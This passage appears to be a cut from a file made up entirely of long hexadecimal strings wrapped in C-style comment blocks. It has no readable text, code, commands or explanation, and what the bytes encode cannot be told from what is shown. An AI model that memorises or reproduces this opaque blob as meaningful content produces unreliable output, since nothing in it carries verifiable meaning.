f1961fc62bcb1d73446748e96ad354870fee97f9bc6587979673616b61a27c59205f9d5b0400180b360f9ad004d630e4f203e986f7a1e5b6660d15c3dc2b9a99a7e631514c437f8028c1e407ab239b38c33541d6cf993254be1fd9d4d5d125fbfeba0bd5005e27f8a3585021638faf5a52b8ec5c214fe45a5b6b8b4745d934f7e045569b10b92f03cddcf4059c5d4849477316eee5fe2f6b7e6a67a0f83a5dd9523d86ec725dcc9e1980567630435960ec31718baca33f7b263d4bf06bb1606369bd8c37675e77cca86fa8974e6f3c2190b2331b1fb57e349498ac9f22f3b3349e737fd938cc3e4c939775d259f716dd238afc1fa665f2b57d4aaf403976940c7696ea1f20edccff06f1f57ac701fbb28d6960a7efe303d2227fe13df62b6c83091d01ee588923964eb077c16cd928d319dcf3e96910814202084b330e05b7a49ce5ef624a3c3a37a6d5f5a3bc81a9bbf37e48d0366c0ee2b75f98535b0fbb3c582907321fc7b8c9c619dea55de14849e1bac3ace8a396353027d8f1753cc776772d75bdd1b5bbb6d41bbdb3081be209051ff7202e28f9d800c67512a97b30681c91d4bb2a1a674a318abd2b870ec97609da7eff0d738a275f7c02d4dc620cbc4277a42eceaec7cc24a1cc83b639a681190a24fdc26d9bbc56a341443fb2e17a62740c17802e3cd1ccc268ff3cb8434401fda873de3f8e3458*/
/*f8551e9a90eb81ace08545e074d092ffaf6073516990beffb83ddfd47c127eccaa0b5e3780355cb863c27d0d3cef8344f21b9d24fd2a075a7643f8c462646d19d7fb17b28f2499adafdc295d89fda8f939b88696a7523ed48eb3c5a03fcdcd30df23ac61a07573a06fe5f52884680011f3c150a3c1ea49616599f260eb9ac981078fa29ab0fd559f7f839a487bda53c271ba50a935e39a74aebfb788dd4023a0f11e2d1850d175cc9579c54da0197c5bb36ac591b06d8d4ebb84451b04d91c314b0904e0cfcd3e82f456f419f32afd417f7ee09b69abb8fbab988dcd97057806559994e76bac44a4d57d82fac23ae02ad8aab09b401b8ab7c6eb2a8f0ff5083a033f44d0e76c3f22788e63a10c8783359b6c42787f58519ddc7a9fd894d37478f6f9481848002da4853d0b81568822c0dffe37c5693362005bc836d82476fd7147c39c4ed5957390f85ab1f57202604cc5354d5e016389ab18b191b1fbf7e9658113c2120b8d186df823d601d94da66a8b254b14ebcc7d666d9224c6265ab91b1cdee127bcbba320051ff0854c9b9d88be129bd02ac26bf36579012856a4cb7166fc4edf67137e0bd36e634038c005314bad3929bb340110f80fbc28222ed6b6ea07bab9a371490ec5ba7615be2044708b4d0775e85d65e9ad6fccd3a2c43ee12a76fd4471aab694f791ab780397f3af346d107a269f0e47e892dc81dbb622a06af77d16889f10ac1768485b07ac07c94e9d665ad7811bd09ffd89b04aa698ab63f15792ef8f92cf6be5796c73a59cb3b8cb96333b708f84af1644ddd1ee135795a566336ac21c75dc0169928e25d4e1e4f8025dda03edeb127fa52d61bfdf487e5263226c0a0a3d68c2d928fd5edd5b1e1f0e954c849e7240fdfc061f6bc900cb00cb5bcabaa9b45ba0b26b5107ad5e6c77c8bddc0cf69ddd74af127ddbaa9cc5fff8384632eca759fbdb1027b31d661e778e8519b270a048352ec88ade0c2cb2d5e6b95632269f4ef8c8ba638317c51aa0748a454a3cbb63cf1ebd60cc19e62e17d92d761c4c0d8a54ce74953b3cd3e7fb62814931b7fb9ce80d6af0125c70aa9906cfa8550a3002e1875504695bc144cf86c7fc4f445404273d0c9223a28868c3bdaf94143a890afc918bc88abea035ec30855498d41cc3f157e547664bb17cb92db0a8d44d8e2bd8de7aef0021a06409dd013fe6a8b953ff0e684afb9f53b82c0894bd1eff6bedf6231decb0f5cb881f8ced5c3dce11170238ab806e7bcd5bd639e7b3b9d827e39cd1b04d189899690842615be5a2fe6127b14ad57e7627d1f8898b3e4947c273f23528060ba92eb248d82dd47f58a76bc149be9ac0bdeeb9e145dbf5fa6b86c2b7dd3972b8be203ba274a184771213668bd38a5b4bd4b62139c7068711a0a38b7855763955e78f8dfbd4cf14893f51ef89dbbf38cc32ca35b3007471556da8f688503fb7103264d780c893ccd366643d6a6931db30a63c7a50b7604096cff00013ce8e910c2c6e962406c9a1e0f6228dcbabb303b27010bb64c45857431b875b04d5233702bc12d5d9054d158fcdb05f4545ee9965891b271c46389b7d19e54dded88ef40906b0eabaa6dffa535bf2254250aa504e2b0b980ba1430455bfbae31abb9a6da8b4427c5b6feb269e15b127e76e59af0e32ea2dfb52b26b9a827aab157aa403ab04cacba4ebb9ffbfe5323bd01ea43d2442cf04d51456253192d27435c957e098fa02bb30cccae7901d96da8e17dad5a154c0af30e97c68d8bcb968d06f5431d4992d72a5f5904621ffdbc5873d3c716de77472c3b7644a158842a075f3460ad48c21a08c3d3fe596f690d91695deb4023cc815f049a11a825f9881ff1d9ce53cd0f66f2f95a34a2730e9cee3ea6223310fcefb95b1f6680b74529df5b0d75e93ad9258d0012b46831e131b8fbaf959cc9895061d1f1a1df6b658fa1c20c7cbff496337664d9a12f4fa300c6a82525cac9e378746607bf542acc11a5c42295f9cad6536c6d3d09f904ad0b801d06d62eedc221213611dcda3bb40a4d630481f1114bdd178858d7fde7bf3de37a7ac5da1ec7f5314fba99af6b5cedc8ef4573bd862c702017b3695bededba4688db86b77c10f7f255e700104436c4a97efcf6dd184b53454f209f4ed5d41e615d8124d87c6ed997bd51163d3ba3826f2ac9d551566b9b92ea90cc5db89ee840d4f35caf99a074d811f9d91214d8efebc6263a218cf3bf7277a251a3b144aefd318749515ea30e3535071f13b24318af070ee6a04fc2d08a0498c9cb937916317c036f376f9049a7f4f2ed823ed40ba92f0b1c6c534fe27087882686bca285b0b8eb39543de3334141aef254c60a2c92a4215d60f927f9dd467bf90cfa31b229075c6264ef87622c63739c3273551c553899654ec888d64f116e703655abc3a8d12ffca6c33ca1c4ab89a8c1ab3c63bee6b5f8608c7139aadfdbff9091c1ff0e543a59e3f2f3347272a5936ac2e79ed09c928b4580487bec8425b7922b4321ec0d9f25ec396dc606208a5da11a6b4a952a91ad49aaea07116c1766f911d80c0da444610f3778179649eb6c4e3303661dd58dbe4a49c7c9abcdbe5c8db86ffd8f6b7cce29f708be6edd8a05e03c18bfd2b30426296ebf70bcac55f26fdacadced529d5fb94b6bcc8d33dc6a668c057cc68b24768058504f7ebd1a8ab421d7e8c5a689dbf702fc2816adc475295fe1ccd83487f89422cd3b4999f5fbd582423d352515d5f528e64c314d7c7e7726ee3c40bb900795e549bb019f3d212f55e056cdf240e862f65a58de8f704f086cf4365e47beb5c95141c*/
/*0d5999061cbef8b7aa6d45214c434e125291fe17df7e2ed60eeb973bf1b3f8cc1f1ba12b2a10e06803de495b80da89bfe6795b1262b3ab9a235c840071c2153ffb718ea6ee24c94688ed1d8673dd507b1ffd7606d5ecf3789c5e83293ebf680213ccc850e3efae1abe47d135ab0713a85a219702c6cab1741ad4959a51436311a2f3fff97221da71836215e0b4e52c8345bddba0f72905cebeb8c29b36d19e1c4e8dfc2f944b91704dbd111e7ad734f2a7e9d2d206a15023004be26ad6d17c240f43bd1c6ca4a4edb841391becf40bd0225c25abbf9d55d24a6a0da8328453e36bded8e3036fbbdac76a2bcd5e3afc9290de3e82999b905eabb561a8c789f0dd0a3c240911e0ba0e998d10ff277482b97ff1d513c5880d70e2f8e916ca80c301419063a1be1bc3814cc0db25c92c48bd0b4194179e6f316c3b76ca84c481c71284064e6dcf8b084f9360eed6fcb6f0f09eecc465faaf1c085f1bdb624a8ca02b8e9d199afab900a47b7c44bde5dcceec73397c5b5ae3fc6330d0873fc193ae4f2c02fdbd615cd50bb1cd45a3ff48ea648d1fd66fa2a8797296a88b839c758fb236664928cddb161ac789ec49ebf654c400de8aa8599e89f225b1965b6792748ca4b2de5ee255023d8a472df58edd7b03ce885ca3af1e1d947334a4ae5e2794b7093738c6733d7c5a92d06ceb5b44584fd7c113ec3e7d1dd10025b3ddd6d3c27d60f3f0f2cd9a1f1b4ef3c203500fb710dac641f9d0608cea6eba79db7988ad2af87d20479c1d0ff63168f1d4224f4f8e644be7473d2dd040e768eba78eb58ab3a947ebb2ce84ea1da3e77733ed10425c8b4d22598f1a9a78f287b1ef54701fe5631d222f53e8a48bae67101c3287e2c78f323893ccc307f860bf4a164abbeb087ce49b545a0c8de9a1581d6de76e6d2f81be61b7d1150ad4b761cab0fd31babb0183c8ece0b6d49063a13a17d34d95f9fb5663e8c986907a90c602cd11f84b1cc14f6e94845128d30b93d960167d72e9a634b8c0c14d5b8183f207cb34fb9d3664bcdd0b6cc9f4d14e8c124022ccc8d570eefd57455b07d75eec0e8224d59603c75ba95501909922d9e3c20c1a1744134df36ce752493d09cb22d77a2829ffb41b3a0f8edab9470bd646c49d048db379eb2c28e9bc2c7666c29d27b61682858b030e708ba3bb303bc123e77ed6bd495443a190a11c4d8945a663dba9f46f13d08f715346892499945e1ac463d662365e9cc1ea5f577143e5ca2ad96d18db3f29c349b3c2c2208ab46e3585d7de189c826b425d081d1cfaa1fa41403153c1574463a70ce63f6caf2c677d971d549393e2a6c9ff632d38876d9d182c08a524b5cd94b440a34db7feb1f552aad6a23a24039a0ec5465f00d86bdfbb62523b52479567b76095614e6e2708e04649336bcd2e2db28d400b777dffc4415d216685daa1cbb50b7c9c047f2ea121caaee3c0a1fd1e8ce01df6b3bf9f46e70628c514841164e6419b4b081dafea5170e0b8d3aa2d73213310bda90c92300bf76b9a4cd6c2a84fc9da8067cd3ff3fad85db1a212497c612f0a2d3444ad0abda04be6fa8791592912d39b7c292230f679a25e894e140b69fc137b90c33ba5267440abe59f9bf6072a2cdea6f2411bbc1dd4d17e2f6fc8f37623da53cdab0e12a04c9a93a2c010f35ddaaff4796fd68018c99bc2ef270c0cf4e4a4e80b5533607f686dfa50e459a4adc8e26a2e27ff0e65da74afad56e2b99fb96c0708eccaca93e818b4e2d8397b0d2864d81c8e9623ffb9808dc03c24fa791c253ba82c1bd9aeb437e467169bf65b71aee90a2707961bb1ed0b50a37437e9a2de1a95f992495488114038d5241f603dc5621249da064a465e9f2d1e3153f77fe73053da3a7ec1db2145c192082b714e940ccde1e177ea485c801291efd2b57b11f750f3ce9add93c4b4d6427b3e59158aa95299fcc9934b189669a28d36493f302464a52c101a51962760afdfce0ef4f11c70e422b51540308e35a6750ac9e69fc5ed2dc7e7e0359231c5aaf4fc0ba7e10800e3f90a1fe5bf4c29c41d453e32259a7fd86f9c91b266ba289b16ea57b4c9d22ae114f33d69a08b0b24a757891de1aeaa672a5f8fa766b4421123c00db2017d4ee5db1c0be61cdafc15bd96d32aa13fbffb0bd5658326fb6935d16fe469776e4f045f0dfaf88a2fe907a9f888f3c6c59fa77b3b33a6d2b3f354ecf27c8038e336f6d5129405bb39a40ff57ca42ca2857f5cfc8e45007572d0e8438a5790790ab98c2c9484318de7a6d263feb6cbaa07bda67d11a14890ef16f7c6477fffaad5cdcd5f0475de451f273926eaa741544381aacd62cae932f578c1df23769ba7d16023e1ad70e8b57e5135f41d9bd6b71eab773dfde5936542491944f43323d2767a5843d90518c2c4abfc4a82a115845be05339c90e336b7db7f3765a183ec07afb2506e8a29fc4957f338e58e10e4e5717ba1c3b380c96357af58bad32f3d9d01c3ffdacf1c6ba80299aa87c75dc220008c793498dc7aa06a4b7c790e4cd288d35b3135e8ea4299a2f6840e7d87a845c2e11b47b847a6355d3064a7b82a7e187498095158ff52bd6078bc2c76a3c253cbc807a0b2f787760b625b3b33dfaa7075c94d46396a3275702dbcb5f1ea7d38779a04f5d77b3819a4c8a0b06deda5f46a6b4196bf17149f70cd5a3abc61374a4cd278869509eb83532c59f6010141c0824815d96fd084d5f808e3c5ff98b2870cffe06ffa84432160a8aeab879e08373232e80a0e38b52ab033732ec13614c626ad2d2a1e67b874a97a9d9d8b93fb976b7d998458e91bd8b816c*/
/*0b2aaf4c062ee51f208a50a1c14dc1203c6ffa09e323b5c5b7ecfe498e282ec3e998d87b057638948bb44c6cc8d61b1e861519e7bd48f88ce27a3da41ea7b56d76dc337e8dcf291ce30b095f71085c3014a8dae4294e86035743523507fe511d32d56eb6d831b3a89b1cc622fc2e8090457bd62f7c1ae6336107d751cf0319b2843391ad4099c2fbe36f610bc7a80250557664b4599fbc5978bc4953b97dc3cf2a1dd5f692f2edea6d550a9b6a1c2de720e419bdb2443d08627f4dad2dca60f2b67584dbaa788c1515a05c339742fd9aecf4d9e4bc64ab4785cb6721d7abaf33742a346f055489ae1ec4814ecb4591c58c4b79674da282e9a5253bbf0d6689ffa7950d678ae90590a34ecccd4f1a6bba1a4b9f388a7bc9e78ab1602fedc58a0c30ea8e7f80f99ebebbd4b0a4880cc727262db31c1c6e8975b2bcd8be4cf82397a7f8883b58a3dd8575c32a4cb29044808aeebbdf4cd1522d228005647dff0f2e0799fe451479b5a9627a2cef7f6fb191efa5c54d76214d8392b9885e1d41fef0cfabf7a58a28e9ac947971ac4172a18fc75c43a4d9168453c802faaaa94d384ea409ca6c2156b086d292924ef492bbd09285ba035afc5d59586778bcd71fc08e70a2bc891d55c62283daa83dbc690e69cc68aad35ca40385e1c3e33cc8eab11f438f1fde3bd21ff926c558c653573646c5db9cb4b703f712d8486d2f9c9256c7e12f6c8738c398a9b865cf8ca6172ec165e34dfc88315ba6e428b75b85c9cd0e77ec938403b9d23fb41a260b5c61fc06e443c5b87525fa6bc76ffce547bdef2ea9b30c41bef82e6c4b3057170d4987955cd71d92b7e83f527d09e76d09243ff40eb6f2294b08db32b678d9414ba2b0842bce35bf95d87f5912716f42bf8df1ef07daf73011c4842f71fdacc2fefbcc5977431c4d7968d558047e6d25d8ad5669ad4a3061c93c504495c8c71e746c20c3ce9d6b3709efcdef3f57e83712911638ccf6bae21c627b07a557337378e37fa79826341f486d646c280dbe2a0c95cfe369bc2501aa6aea5c39633304e6668538bca63c7da416a6371cfe7cae430c561b65ad61d24db7c8f602f4748b17dd892bd9c7f78ba0c04104043408a0199a6970ed71194b634250eae0d8dafe46b15aac2314af286879ba18ada75f00c11d53968e3f981e4be06772385c56c974e71859724d7b04307437fbbd410801d562286a55d9e0dbb01c1b1038e89a7b8104b981dd44bcd7e8ad8644183d1c5be067795e5d967a2a401a30e7c6f198825473498d1135c62b2c92ce31c9ba76c7f04d7884cce8f0edc313de0a15d2501203439b794e15d8b83c7e505b4937fce75499b851a81205398e847ce4d5b13961743e6d5d4476ca59fbc05bbff415a763ef40abef60ef420a0b00b573959d95378ed30a97b0e730f3f1fea8a1833a42281a6b3a4ac604f6addb30ad5b249f743a5c029be38bb870500c8b2288769e1d4af49afc5822ffe830b42b636239f8dce5b717d2dbb3ffe270c23b60af5ed8d07c7b803fde873b2a8c31526d82b1d90619be6b63739790f56491d2fe644dca164a7a3717c90a556ee34b8d25846fe2e006dcf44d15a681559d01ac02ff4f96cc1ff24eb757b24953e82c7fde74344a7cbb9a4f3eda5bca42805e68ffc311f54b44cd21f2a09640bca325bf1328ebc99e413c136a9643bd0d50c0d0e4fc2caf53d7b9d0550cd428aeda06c1ff49641a4acd7609be52e28cfbefdae649c95bf7a4458495568b21662be4e4a285221c73418778cd2e656b4def99898610ee387eb9b60bfa8970a42bfff2ab3a1f0fcf6e7e0d533340217a9fed18be867528bc05b759a32f8f98b594d1019b2976d794379a05500b94b28bdcfe3b0773f20cdbeed60a5f25f0c06555ca3f063276b976cdc080cbb3821cc1da7698b5a5e2b74c2c7adfe10b834f3dd0d523f545c7bb150c869649fa57c253f4c66e738ec325701e4032f8c5f61f331b7dde9c77202a7db05af04445910081748cba1c32d67c6901e14d5c94fab17b3c4edbeee697b803ae4326d625123454b57ba271de56e9cd103e14e89d9a1f56fb0a530fef3c04b3aa7c9614fd7782d6018b122e8a19b2a576e6153ab63bd35f146fe9c6da08eee209a48d6e9f2ff3d0816fb64f52063573c9607ab2d04ba439cdc17eb26f16404e6a9092a78cac82b39a675eccf3308e7473b704e15b1b95341385a5c42fa57107a2f4c81eff0714e21363c8dfa8a4e38076654dae01956eb968db2e56c881be1289c5271e65485a72149065e70092c4cfb4f03ba6f5ba8e1aec03d0e88868153c1340fc531b7b3bc911197f24ab9a83f559818d7b85ee1b2646aeeab33eaa64c8ce095c87658812eba9993115ab8a56c7bc9c6591e3646abf934ec040869b76f21a41072be2e7997eff15468f935a33dfa2446986f6cff811dbe31c164f79fc57fcbb0e2b3647a8609bfa9f2938ecf07e3816f6815374da3fc88ba0886dba02b8511981f66fd2d6f8bdedf00b209032bd451966bb843b0aacbb0b71b71ad8107beeafca5226c83823708f9e57d71102cd778fff283ac259793a1451a63d96211fdfc9b3bf44c4ee8f3d83524badefda3e50f478b121dcc724d38d846b4d2a46e8de7d6236b81bf5c5bc9e04abf3c5c0346c7ca8427994a4fbb8d8ff3195598e42bcbdc7d1afd289dceeae673315d8478df04fe52e69f0ce91410749ff6c0217fc7d8c9f7f9ff6c8b55fa0f8888d91261a01f884f1895324935fadf106dd1248691c91a803b41921e0de566e193f0a7747726fadd57a3759d481edce522f80c6e7ab6f2bc0013f23*/
/*ccf08495a4e7f9651a4da935f754f6d96b93ee2fd8502c29d7e8ab8270d8e46b9b68524662abb083d18c85da4b9e24b851402fa6099767f1e6c9c3761b250edc488152bb8f1f7b411b0a912807c38e5473875dedae4ded7dc61bd45380cb68926b65dc27667aa87b3195c44e343b4c5ef8c223c1821c9ad3a87294c187d869a5a83ced151672d425643c369492ee24c279be4e1131df21e57621bf327ff385cbebb88a9da989256cb85eaf1a812a3ccd8345fdde435ed9fbde4b7a99cc89d47ce8cf11294f0bff0c95eab122b9b931dd80d3e123cc9e6df164aa684c990e396bbf2ebddddd75cf29660e4310e9cb82569c60ddf422ff75574771036bcceefdcb30313ce602c9ce9e35b754d216cc0e547aadea05f3edc4706bb406e494caa16ed52def2b42a45d336de9cafe670fe988692999a16bbe25d44e2b9a075b6c3343a78e0a9417dc6db7560a5fd3b35499d9f6cee6803f38a5ef1dc29892eec9f2c208087c19f09eba6df6bcda1702c1322b294d9567e2903f9577adc50b85777e7df1a77814a67cfd886262fee78b374dda6b93cd4a1016b9aeefc1bf88e12cabdd6e9425ae3c2e6418ec00fe622acc99d3253655ff1a0b3efc50cc6046fc7f4dfdb7c210c3a76a35348a797de79bf973e431c4ebd775a1d7ed4d7a48f187e4be954a33adc443c464f8c8491e7f884ef15b391a8055174db53f15a7552cc9fd7872696b7c5bd59525f9610160b8ecd8328edb044890f60220de69910ea3d756de19328a3c430ba3ce49be4bc9064649de1972d5a9c57ca79245ecc8a3df9ecce9b38021a028cb66579c7f30df0dd3d338cdc9e00c7776cc2bd62230a1f3939a867d138be9bb19fc0b3600573a0b3cb245da6b6e45fcba4f903e2b1bca8a1c494712b59c349743b97b7624f26bf77a379714372809cffc1fe317b6732d8163fd9e81a770887e12481b04630f71abe3b303e725a899ab9bc65cff7770085aedc699382966eb39aac084b899980116f084830ca3cd488b4e2c6bb7ec0e165d8dd528daaf50b3a4a157831ccca2ff5f2c981e20bcf49b67343534f4670627d09e775e71f725f31df86cf59d8561b63076b5249a802ad888d4b46270b040559958f9d0dc33693721e8b9dd1a14f6495f22bb45471caec7933c8a2c6aaf297182a6a4c3d300df622b849745bf00bbe813ca42fd58b1e350953eea1931c38f10615d7fdaef5e13aeb6647688ac0f70e3b00a4511dc961227582710587645ddc35dea093ede0aeceb67fef48d92c77f7f9c0ae1ae0bf06ffe145287798376f79c5e156edd3d98e4421fa4dc701e2c466af148e88b4431e78d32518833c47a43af5c58a9164e3be00d0650b63aff1809b0dd561e3050607477ef85e67a289013ced619c4de4450d70fcb0ee77f0d9c7bbc3bc2cf7d226147f7d632a1fb9d7357d25f057326e09ac024454219ec7af2532497ebc4ec26186215782fa7c863dace84b7c1b6ee779b00dba1fb2c98ca2cd2d0a209af36e415716b2122f8072577f02dd6bc9336ff449d4af2cbace03e44d3ed6a18c8066291bd6b77aadb169f58160d0f314610a513f460c3a1744021b0e46e7b58fdf68c1e65fa26c9f5b623c430c6f443c9a8828b5117472a8a0346530c83ef221a83388a097b2cc9626e7d8313c0893f7fe405c13e4be1d2a75552927e265750020bb22cdc704c7e859801ae73d9284a105c6ca3727d166e1640ebe30d6e9dfd198f2e9bcf84ef4e7aab3d7309cf0ad3137561f630a1390b0cb3cda199590c3b889afe847b4ba193dc4dbdd092aaf67f649fa2fb808994207866a948ee389466599cb2d169482e0c3d317ea17752aa79a3c778c9b9cca906d6b45ffebff4bdfb11a272bf6bf00e58ba477411f0170dcde7649b25048fb6ca9f79feb591f606dabcc5b456f2bf8a6e0c8520961ed273516511045de486975d6eb3a7c403adfaa1d9ea798795d7ec8205fe0c80f691e7f78f1864164e9b5278c0ae35ac2fe4a31e9d281a11480e35b957486599fa237ebf9b0a2b0db1cff42733e310bc063adde387542f41792784bf249a3b7ec5a5075772844cb1cb5d2805fc09604a162ed927d95e3a15199f97ea376f98b4a37360d3e48cdb245b8d20e02a079adf41ae6846393565e4df7f851513cd9e1a5d53961712f90c08e4b307adeb015d05cb488d976848d483ee08dda40c71030d1998e788fb488dec7ff830816a7c664e194f0ec7a4c67262d348dbb52d13de083919cd04cde5eef800191c632fb6654e0aa61a6db0d9d58c18108cfff8d4b416263b452c2cb04365b0a5dcf2cf7f65fca22d09c293ec7ec63f890b6702a957dc9ba7b30ced9e70867ecaabc804afefe8a00e9281effdbd4c36b1e0a46332b26ac532d80f66480a154cbff9c9e46eef725885562ab87b7895c2e4bea2cb14bd40d68ec2e480de98cab95b66ee026846212b4779dde38e5924a4a52ac97311b8ff453b31ab5dc210a232978f501fdea0e87a238006bb20ea9ded642416a71d2cdcc407e1c7a23659bb2dbff42ee8552fac8c889f4fae0928b635a9a128d5f32c270455419f46a61890636e72220df72300b1b3086cda913268b1844a2ccff6c06ca2761c44d1ab988f095a4326a13b44f1d11b4245f90be720987a21b954b65d87fc7d2949c6466e3d5ee68995b6c91c7d7ff943acfc71d45702095580e32f954f86dd4bd1a858b0108cc20f4c28e360b0b796457672678840a678dc77f2ef1437ab826f6c585071937e59afa257405c17565160ed3dff7c6f471ae19a64fe8501c68271f22d8cd756821e30d6e3cbbc2f9c665251b2023a*/
/*fc584b512142c713f74b46deb6fe7e2b8f605081efeb72cb8d9380d357c1e24b8a273988f5514e01bcb084b4ffc576f1952daddc9baa6d7b0d1180859af1d9138da53e510e78331774687259438f4066e684eb025a6619a4391d9a9eb40c5f1806f1e4ace77e591729b6b1650d734da996cf2881c5e1df376a204862cea6aa8dde53b5bc15684331608f921c4fde4c859f62cd3f2273bf783549085f80a7394076eef060dcae2af30b35e7d9b883d370f22faa8f20c962abfc07943a4afdfca04e9d83e9f7d9e97d5ea5b12d98bde04f5652608fc6691f97b2b547ee9fb5bfd21cb4c4a886610f842bb7dee18bbcab8396219334e47dbf701a8cf9c5bc8ba51ae437c0658820aa5d582f27acf12d90161c9381ae114b7885c2713a1e1ab780ff3226f845afea55a7f48e685d2af1d018d638a9f8a119b82f1451b03d323b01aed27e1643c5880f6b74d7c59112c2e5ea893c80b895a5e3075af326261bd4798307a0ed1f42f0ee6b49c7e3d8abed1eb49f2df2031772ee7f4a82b8ed3c9a579bdc4bdfd3eec3dce0e4a5c5647fa056da4bd621ca9e417b9dd96f235f2cf9dc5959640d868a760c4e35fd2e6ac3651b2abaae243dfb1e3f5433aae880b93d59a598e51bb681e141d25ec49d8089c1e7bca86eeae6c8490eaf49fbec7ee7927a61cabf1dc9459b83f9af8e1273fae9f82b4b83c0296b1db4b73bda11a61c5fc2896e2030ea8e992337cd06ed376498f3a05b910d20c8073011d9da8b3cd0824fc3d80e2d6f7594327c3f9a6e15077e7ab3a256af0a6f8128eb50caafff5b7d192b55789472d33eb203bba646f9c6be6c454fe8fac9cd8d3160d17e2e0467e9d18323eb167b25562bcb7cb35ad803f09761ed0c24c97236727f694ae26d8b7955860df807d129bf9924740d81c89d8e4e009f653060b07681ff269cf45fbe41c2768e6375a2a3a27e6efef5b48b2a9ee480af3655ecb2adf709fec012b8d35877c75746bf0e12da8324a8e79c41493f8cef7f3aff8cdc680f0c3f2d2f9a529aedbeb786fac7db1d92d5ee5069f8292447d40569708062ef7492034f7baa91f161ecf2f950df2292a347b2947d6f7aafa71af26c170cfc92ed7b90088f3f9b84ece471cb5906031ededb42063f1e8f313c5c7afe195469cfcd4b16362b2c007cc464a50f11c264af503f56bf074a2bbc3b5ef9eb7bdee77994f3a59018f91c36693cca3f58e0d28d09f505ed23f67b60f6598239418256fa81407f223313a6b29c748cf681128c1fda0be0517b2ff6bd5e56ceb2ec598366512f65721edd90941793428ca484406d517f7e09b65a5e6f60d9bc97de0a42af77f93b9f0627b962a46093a4d60df1de59e97041667dd7a29aa0fc9fdf3aa14c4abb42e581706af08d4a4ffff038def75848a50bae6bee5f4e98288639811ca89a591e5e497a90381c0d9dd0cfd87eb65f279d5ef55e51012f1cded4951c8988c8c1732417b8c45b92b6faf102f3b7a37a77d5abeb9e00027db42731952ae5c4ccb35d85d6aac7a19ab4e7507dddc3c2984ef7892580d01936f4a5aeb271a1c9aba8ce5215d34fdd59f21a710ff840c13f57d21b69fd815c288ade03209dbbb188f67ff35bfd9713a06a90a2c0a530cf8766e1c34b444ce8c3b45b649cdd43ff38158485403b42fa03752494afb5101be31e708ca48b88d964f7182f8a0d3851b411fff9ac689d2ca79de835d71d542e33a49bb54bfd01461cf24f7a8ffda07c4c3df0308500686db489f1a86b2d2f76d257f08b5a24e57207c21d2124f78efa1f12d0eab70aeebe044a53ae48502f4e923faf2d04c6c844b5b3a27407117bb25e4253ab66745121dc78efc8fe51ff4ce1477721492492be10c03d2e17601cc865ad4927e36f4ebd16ba140cdee2f582b0f734547a127a04e3273306222ada7eb1bb70df16d5098bb535c58bf22805f7e1feae646b665c18170c76f4f395d54a9952b79dab82a9d5e7b1569f45d4611d48aaf435bde273144f8b1f8f768affd3e2b3475c9ab123a27bcf27d4c326c285454d9386b481261912fbcb6c6be6e357e1158aea209323b67cd981bea12e34ab98c6db9551a195ef32755cc04bebbb9bcf5a14628f51109a8ef1825015295d4bdd96c01f13733f4346f67c498e715e399dadd2f2e008bd48355aceb9a4dadee84ef939d8b7e15b8a00bdf0c6638558afb3bede3d86e02d417bd90fc7b59ea0f44a8f8d9c47385075900b6812c7171e6f4e65887786c4565f19462543910dde6ccee2da94b5f5703f2aada15cf3067a2ecb391a711009c8f74289786e5b5f1eed2239edb99708fd99b5ef6840335a4c597b135f4d940524bb7418030c4dbe46e3a5183c01de221b5bd541e0b64c6d70c70a1317d236f856677e33bdcb8338473c2592a38bc0a27907cfbdb938ee8ea9a9945d22ea653f2ffdbc4c3f0cc091d40f7a200cddf64ab47d6d7a1f146cee3b4440afa4e3e9ad994718c17d2104fc9bcbd38b71e10d150915d345e43d171d13c5536d27972af7a03d2ad84fae134f0d7687c7febec1e1e6067786d74436afd2e854f9008c72a69203ba19273936cf36247ff3a77169e361b0af8621662bb5bb0138a1b57536f7df8639cca7a5a7f5a4fac6cc4d1ee7f4cf45143b8dd1cef6d40fc947ccb134ee4cbf8032baa55ea28815aec5e18ff6567f27a191d06bccebc7391efb6d23efda3ed69963c3facd1b1fc6e1dbdd692a9d13ed8098de30f3e6db5f87454262814c073d8ec06ae1e26230ae0ed5b4fd912cfb0507342371808e73091d5e653673efe96d4abef093e70328316dce6f8b4a6d00e1aeb6*/
/*9a69ca910110f82f0e2db323828e5768cdfffbb1febc81047f758606dce2f9a9facc52825a8c4b841a71005005121b1635b4629da048699bd9602ea9d533d155ea06a011fc22d3e6f64ac2d3b6f981377c7c1dd9737dd9d8d885f16ac13022491e8fe09c857fa92496b74c16fdf47ba2f74bc871d9710c809d35088020d4ed0b4deb90d63a1a0080b5379729d278c5eaf06f2c7def980dd74fe2e3995579345bbb252c8e136117b58ae6273bb899b14741a946efe997cf94937196290dcfb8d7694c78b97d1e1d4ef95cfc2512fba48cc336b7eba5d60f6f1cae6b38d41c58c7bdc8d7bdf1db6a6b7b5b7d6f5510bb0536d0eeaffadd697aa1146ad191d2066a78f2b1e4f886e53584286f47a7219612bfc238d0a4e998fe61a59895f54b54424b50b0b73a10367e1fb834b199bf697f417a809b06ad5e3d7bc69c97ae493f567c147e2c55599359fe5ed9f4665950a6bc3030d1854bc9f5348e63c030ca88b7e81617f6430effed3459fd651d7851875e30ce2f02df23264d250938cd9f8dfc4492faf3b85a64868c449a3d8045fff9b56cefb438ef1a7c240f3a426edfae8cbf951fa24ca7736c3484228195392a83fdde9ce78609af7a7316d4cf5752bcf4ad9f26661c6c2f9d33bf280758c62cf0b898f87a8ad1546e2c78b7f38fc26547f1f6f1635c366dd406ba2ff8555cdfe46e7adeac950e8d5baad402f6181d2404c463d505b0b92b7cb311ce91f461e946a75359a97fc19dc1d24d2883a0cc8c59cf5d88ad24641792619613cea2701f9e01788f08f22d4b99b48c98422537d9d837e714684b0b59c1d2030080a1310bbd7047a20cca221201c51f253ed76eed5959e670803e4b03960adb17ee64615aec67a23bb83a9ea912cd5462f939fc7ad2dc4bf908d84362217183d5883ff57d0f5b9afc807a9dddf2b438bf6f80c2715dc5210403f4959d6232e02b2cdbac0a33fe4653ede81b24ea263b57dc6a0cbe643ca1a9c814ed049eca2772c4ae24906712b42a65790a368834966ad2741579a7f4eb5e6e041325b05e89a47e6852062d804b4e9bd26f336757fe108f7aa71cb48bdfa100c9821a22c15343b90fe41eea0b5e7b083db028b1549a74df14d4072fa0e316ba2e0063fc67611e8b10a49c830f1fa7a8ca1d8a45d81d3c623c88b661ac156f2d998d6e1c69716b3d3ca2569f036bb79cad664ee1bf6578a9485fe660c7fe27136bd137df6f90d2e7fc03062108574b3adb933b82bc9e08737aff7ceeb8b887b488482ba61f9304183a5182df41cc76e93b05ad632654e686b3947dfdec6692d874bbf86699d2e02c69aa3cfb3b80d4312ace108690b9e32a6eca73d8d1d9b40b2e0eac4bafa84eb21cc64edf9485833fb071cf45c061156cd